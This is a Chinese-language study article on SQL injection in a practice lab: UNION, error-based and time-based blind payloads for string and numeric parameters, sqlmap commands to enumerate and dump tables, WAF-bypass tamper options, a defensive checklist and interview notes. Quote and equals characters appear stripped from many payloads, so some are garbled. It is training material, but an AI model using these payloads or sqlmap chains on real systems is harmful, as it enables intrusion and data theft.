ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

杂记04 SQL注入01

杂记04 SQL注入01 〇、总览SQL 注入分类与通用思路注入类型判断依据前置条件联合查询注入UNION页面直接回显查询结果有回显位报错注入数据库报错信息带出数据页面输出 SQL 报错布尔盲注页面内容 / 响应长度变化真假两种响应可区分时间盲注请求响应耗时长短页面内容完全不变也能用通用七步流程判断注入点 → 判断闭合符号// 无→ order by 猜列数 → union 找回显位 → 爆库名 → 爆表名 → 爆字段 → 取数据。记忆口诀库 schemata → 表 tables → 字段 columns → 数据一、字符型 UNION 注入单引号闭合后端 SQLSELECT * FROM xxx WHERE name 用户输入1. 判断注入点输入页面报 SQL 语法错误 → 单引号字符型注入。2. order by 猜列数 order by 7 -- order by N按第 N 列排序N 超过实际列数即报错 → 本靶场7 列。3. 找回显位 UNION SELECT 1,2,3,4,5,6,7 -- 数字会展示在对应字段 →第 2 列姓名为回显位后续查询内容都放第 2 位。4. 爆库名 → 爆表 → 爆字段 → 取数据 UNION SELECT 1,database(),3,4,5,6,7 -- -- 库名: sql_injection_lab UNION SELECT 1,group_concat(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schemasql_injection_lab -- -- 表: users,flag UNION SELECT 1,group_concat(column_name),3,4,5,6,7 FROM information_schema.columns WHERE table_nameflag -- -- 字段: id,flag UNION SELECT 1,flag,3,4,5,6,7 FROM sql_injection_lab.flag -- -- flag{...}Payload 语法要素闭合原有单引号打破查询边界UNION SELECT合并两条查询结果前后列数必须一致group_concat()多行合并单行输出一次性展示所有表名/字段名有长度上限1,3,4,5,6,7占位常量补齐列数--注释掉原语句剩余部分--后必须带空格二、字符型 UNION 注入双引号闭合后端 SQLSELECT * FROM xxx WHERE name 用户输入与单引号版本逻辑完全相同仅闭合符号改为注释符用#admin order by 7# -- 7列 admin union select 1,2,3,4,5,6,7# -- 第2列回显 admin union select 1,database(),3,4,5,6,7# -- sql_injection_lab admin union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schemasql_injection_lab# -- users,flag admin union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_nameflag# -- id,flag admin union select 1,flag,3,4,5,6,7 from flag# -- flag{...}两种注释符MySQL#行注释URL 编码%23--行注释--后必须有空格URL 编码%20常见踩坑union 两边列数不一致 → 查询失败引号类型搞错靶场是用payload 直接失效忘记注释符 → SQL 语法错误查表时未限定table_schema→ 可能查到其他库同名表三、数字型 UNION 注入后端 SQLSELECT * FROM users WHERE id $id参数直接作数字拼接无需引号闭合1 order by 6 -- 报错 → 共5列order by 5正常 1 union select 1,2,3,4,5 -- 第3列(邮箱)为回显位 1 union select 1,2,database(),4,5 -- 库名: sql_injection_lab 1 union select 1,2,group_concat(schema_name),4,5 from information_schema.schemata -- 所有库 1 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schemasql_injection_lab -- users,flag 1 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schemasql_injection_lab and table_nameflag -- id,flag 1 union select 1,2,flag,4,5 from sql_injection_lab.flag -- flag{...}三张核心系统表必背系统表作用核心字段information_schema.schemata查所有数据库schema_nameinformation_schema.tables查所有数据表table_schema库名、table_name表名information_schema.columns查所有字段table_schema、table_name、column_name常用函数database()当前库名 ·version()MySQL 版本 ·user()当前账号 ·group_concat()多行合并数字型 vs 字符型对比项数字型字符型原始 SQLwhere id$idwhere id$id引号闭合不需要需要或注释符一般不用常用#/--示例1 and 121 and 12#四、时间盲注单引号闭合适用场景页面无回显、无报错内容/长度几乎不变 → 只能看响应耗时判断真假。原理and短路——左边为真才执行右边if(条件, sleep(n), 1)中条件为真才延时。1 and sleep(4)-- -- 验证延时约4s → 注入成立 1 and if(length(database())5,sleep(4),1)-- -- 猜库名长度 1 and if(substr(database(),1,1)s,sleep(4),1)-- -- 逐字符猜库名 1 and if(ascii(substr(database(),1,1))115,sleep(4),1)-- -- ASCII版(绕单引号过滤)判定规则Burp 看时间列耗时 ≈ sleep 设定值 → 条件真耗时与基准包?id1接近 → 条件假核心函数if(条件,真,假)sleep(n)substr(str,start,len)start 从 1 开始length()ascii()。流程验证延时 → 猜库名长度 → 逐字符猜库名 → 猜表数量/表名 → 猜字段 → 逐位爆破 flag。五、双引号闭合时间盲注后端 SQLSELECT * FROM xxx WHERE id $idpayload 全部以2闭合、#注释2 and if(11,sleep(3),1)# -- 验证闭合方式 2 and if(length(database())17,sleep(3),1)# -- 库名长度17: sql_injection_lab 2 and if(ascii(substr(database(),1,1))115,sleep(5),1)# -- 逐字符猜库名(s115) 2 and if((select count(*) from information_schema.tables where table_schemadatabase())2,sleep(5),1)# -- 表总数2 2 and if(length((select table_name from information_schema.tables where table_schemadatabase() limit 1,1))4,sleep(5),1)# -- 第2张表名长度4 2 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1,1))102,sleep(5),1)# -- flag 2 and if((select count(*) from information_schema.columns where table_nameflag)2,sleep(5),1)# -- flag表2列 2 and if(ascii(substr((select column_name from information_schema.columns where table_nameflag limit 1,1),1,1))102,sleep(5),1)# -- 第2列名flag 2 and if(ascii(substr((select flag from sql_injection_lab.flag),1,1))102,sleep(3),1)# -- 逐位读flag⚠️ 高频易错点substr起始下标从1开始limit偏移量从0开始limit 0,1是第 1 行count(*)不能简写count()会语法报错子查询必须外层加括号(select ...)查表/字段时建议table_schemadatabase()限定当前库防同名表干扰GET 提交需 URL 编码→%22、空格→%20、#→%23、→%3DBurp 勾选自动编码无注释闭合技巧#/--被过滤时1 and sleep(5) and 1 -- 双引号场景末尾补 1 让引号成对 1 and sleep(5) and 1 -- 单引号场景同理原理用and 11/and 1补齐剩余引号非空字符串1视为布尔真值SQL 语法自然闭合。六、数字型时间盲注无引号闭合后端 SQLSELECT * FROM xxx WHERE id $id参数直接作数字拼接无引号闭合、无需注释符。判定规则页面延迟约 sleep 设定秒数 → 条件为真快速返回 → 条件为假。本次靶场完整流程① 验证注入确认延迟注入1 and if(11,sleep(2),null)页面延迟约 2s 响应 → 时间盲注成立。null作假分支条件为假时不产生延时。② 猜库名长度1 and if(length(database())17,sleep(2),null)延时 → 库名长度 17 → 逐字符爆破出sql_injection_lab③ 猜表数量1 and if((select count(table_name) from information_schema.tables where table_schemadatabase())2,sleep(2),1)延时 → 当前库共2 张表。count(table_name)与count(*)等价均统计行数。④ 猜表名总长度范围逼近1 and if(length((select group_concat(table_name) from information_schema.tables where table_schemadatabase()))5,sleep(2),1)用范围判断快速逼近不必逐值猜⚠️group_concat默认以逗号分隔users,flag 5 1 4 10总长度含分隔符⑤ 爆破表名逐字符猜出users、flag⑥ 猜 flag 列数1 and if((select count(column_name) from information_schema.columns where table_nameflag)2,sleep(5),1)延时 → flag 表共2 列。⑦ 直接猜全部列名跳过长度1 and if(substr((select group_concat(column_name) from information_schema.columns where table_nameflag),1,1)a,sleep(2),1)技巧不逐列猜长度直接对group_concat整串逐位爆破 → 列名id,flag⑧ 猜 flag 内容长度1 and if(length((select flag from flag))10,sleep(2),1)结果38 个字符。⑨ 逐位爆破 flag1 and if(substr((select flag from flag),1,1)a,sleep(2),1)修改substr第 2 个参数位置逐位爆破最终拼出flag{...}。数字型 vs 字符型 时间盲注对比对比项数字型本次字符型闭合符号无直接拼接需或闭合注释符不需要需#/--或and 1补齐验证 payload1 and if(11,sleep(2),null)1 and if(11,sleep(2),1)#猜字符写法substr(...)a直接比字符可用ascii(substr(...))97绕过滤本次靶场技巧总结范围判断优先length(...)N先逼近再N精确定位减少请求数group_concat含默认分隔符逗号表名总长度 10 users(5) ,(1) flag(4)猜长度时不要漏算分隔符count(column_name)与count(*)均可统计行数猜列名可跳过长度直接爆破group_concat(column_name)整串效率更高if假分支用null或1均可null更符合语义数字型注入无引号闭合payload 简洁无需处理注释符七、核心知识点速查时间盲注 vs 布尔盲注布尔盲注看页面内容/响应长度差异判断真假时间盲注看响应耗时判断真假页面内容不变时用时间盲注坑点网络波动会误判 → sleep 设 3~5s同一条 payload 多次发包验证sleep 2s 易与网络 RTT 混淆发包量大手工极慢 → 用 Python 脚本 / Burp Intruder 自动化ASCII 码范围盲注字典小写 a-z97~122 · 大写 A-Z65~90 · 数字 0-948~57 · 下划线_95 ·{123 ·}125八、防御清单蓝队视角预编译语句PreparedStatement / PDO参数与 SQL 分离杜绝拼接根本手段输入过滤/WAF拦截union、select、sleep、if、substr、information_schema等特征可被绕过仅辅助最小权限数据库账号禁止访问information_schema禁用sleep()等危险函数关闭详细 SQL 报错回显防信息泄露与报错注入参数类型强校验数字型参数只接受整数请求限流阻止批量发包爆破使用 ORM 参数绑定如 MyBatis避免手写拼接 SQL九、sqlmap 自动化注入工具篇1. sqlmap 是什么自动化 SQL 注入检测与利用工具支持主流数据库MySQL / MSSQL / Oracle / PostgreSQL 等覆盖 6 种注入技术技术代号注入技术对应本笔记章节U联合查询注入一、二、三B布尔盲注四对比篇T时间盲注四、五、六E报错注入三延伸S堆叠注入拓展Q内联查询注入拓展默认--techniqueBEUSTQ全开手工已确认注入类型时用--techniqueT或--techniqueU定向提速。2. 针对本笔记三类靶场的快速利用命令① 字符型 UNION 注入POST 单引号sqlmap -u http://靶场地址/check.php --data nameadminsubmit1 -p name --dbms mysql --batch--dataPOST 请求体参数-p name指定注入参数避免 sqlmap 逐个乱测② 数字型 GET 注入sqlmap -u http://靶场地址/check.php?id1 -p id --dbms mysql --batch③ 时间盲注指定技术 sleep 时长sqlmap -u http://靶场地址/check.php?id1 -p id --techniqueT --time-sec2 --dbms mysql --batch--techniqueT只用时间盲注--time-sec2sleep 秒数与手工验证时一致避免误判3. 拿 flag 的完整命令链对应手工七步sqlmap -u http://靶场地址/check.php?id1 -p id --dbms mysql --current-db --batch # ① 当前库名 sqlmap -u http://靶场地址/check.php?id1 -p id -D sql_injection_lab --tables --batch # ② 爆表 sqlmap -u http://靶场地址/check.php?id1 -p id -D sql_injection_lab -T flag --columns --batch # ③ 爆字段 sqlmap -u http://靶场地址/check.php?id1 -p id -D sql_injection_lab -T flag -C flag --dump --batch # ④ 导出flag一步到位sqlmap -u http://靶场地址/check.php?id1 -p id -D sql_injection_lab --dump-all --batch4. 常用参数速查表参数作用-u目标 URL--dataPOST 请求体数据-p指定注入参数名--dbms指定数据库类型mysql--technique指定注入技术B/T/E/U/S/Q--level/--risk提高探测深度 / 风险默认 1可调 1~3--dbs枚举所有数据库--current-db获取当前数据库-D / -T / -C指定库名 / 表名 / 字段名--tables/--columns/--dump爆表 / 爆字段 / 导出数据--batch全默认回答无人值守--time-sec时间盲注 sleep 秒数--threads并发线程时间盲注提速--tamper加载 WAF 绕过脚本如 space2comment--proxy走代理配合 Burp 抓包调试--cookie携带 Cookie登录态页面-v 3显示请求细节便于调试--flush-session清除该目标的扫描缓存重新探测5. 手工 ↔ sqlmap 对应关系打通笔记手工步骤sqlmap 命令order by 猜列数 / union 找回显位自动完成--techniqueUdatabase()爆库名--current-db/--dbsinformation_schema.tables爆表-D 库名 --tablesinformation_schema.columns爆字段-D 库名 -T 表名 --columns取数据-D 库名 -T 表名 -C 字段 --dumpif()sleep()时间盲注--techniqueT --time-secN6. 实操要点与常见坑POST 注入必须带--data否则 sqlmap 只测 GET 参数找不到注入点参数多时用-p指定避免 sqlmap 乱测其他参数触发 WAF / 业务报错时间盲注默认单线程很慢 →--techniqueT --threads 5提速但并发别太大避免靶场/目标超时--time-sec与手工验证的 sleep 值保持一致如 2s避免网络波动误判需要登录的页面加--cookieBurp 里复制 Cookie 头WAF 拦截时加--tamperspace2comment,randomcase等绕过脚本GET 传参直接写?id1即可号是 URL 编码的空格不要手动写成1and...dump 结果默认存本地~/.local/share/sqlmap/output/目标地址/可打开查看完整数据重复扫描同一目标时加--flush-session避免读到旧缓存结果十、面试速记union 注入的两个必要条件① 前后 SELECT 字段数相同② 页面存在回显位。order by 的作用判断查询结果集列数为 union 对齐做准备。group_concat 作用与缺点多行合并单行输出有长度上限长数据会截断。数字型注入为何不用引号参数作为数字直接拼入 SQL非字符串类型。substr 与 limit 下标区别substr 从 1 开始limit 偏移从 0 开始。时间盲注如何判断真假对比基准耗时达到 sleep 设定值→真快速返回→假。时间盲注 vs 布尔盲注前者看响应耗时后者看页面内容/长度差异。双引号时间盲注完整流程探测闭合 → 猜库名长度→逐字符→ 统计并爆破表名 → 爆字段 → 逐字符读 flag全程if()sleep()延时判断。数字型时间盲注与字符型有何区别数字型无引号闭合、无需注释符payload 更简洁字符型需闭合引号并用#/--注释或and 1补齐。group_concat 猜长度为何要算上分隔符group_concat 默认以逗号分隔多行结果如users,flag总长 10 514漏算逗号会误判长度。sqlmap 如何指定时间盲注--techniqueT只启用时间盲注配合--time-secN控制延时秒数--threads并发提速。sqlmap POST 注入的关键参数--data指定请求体-p指定注入参数二者缺一不可。
返回列表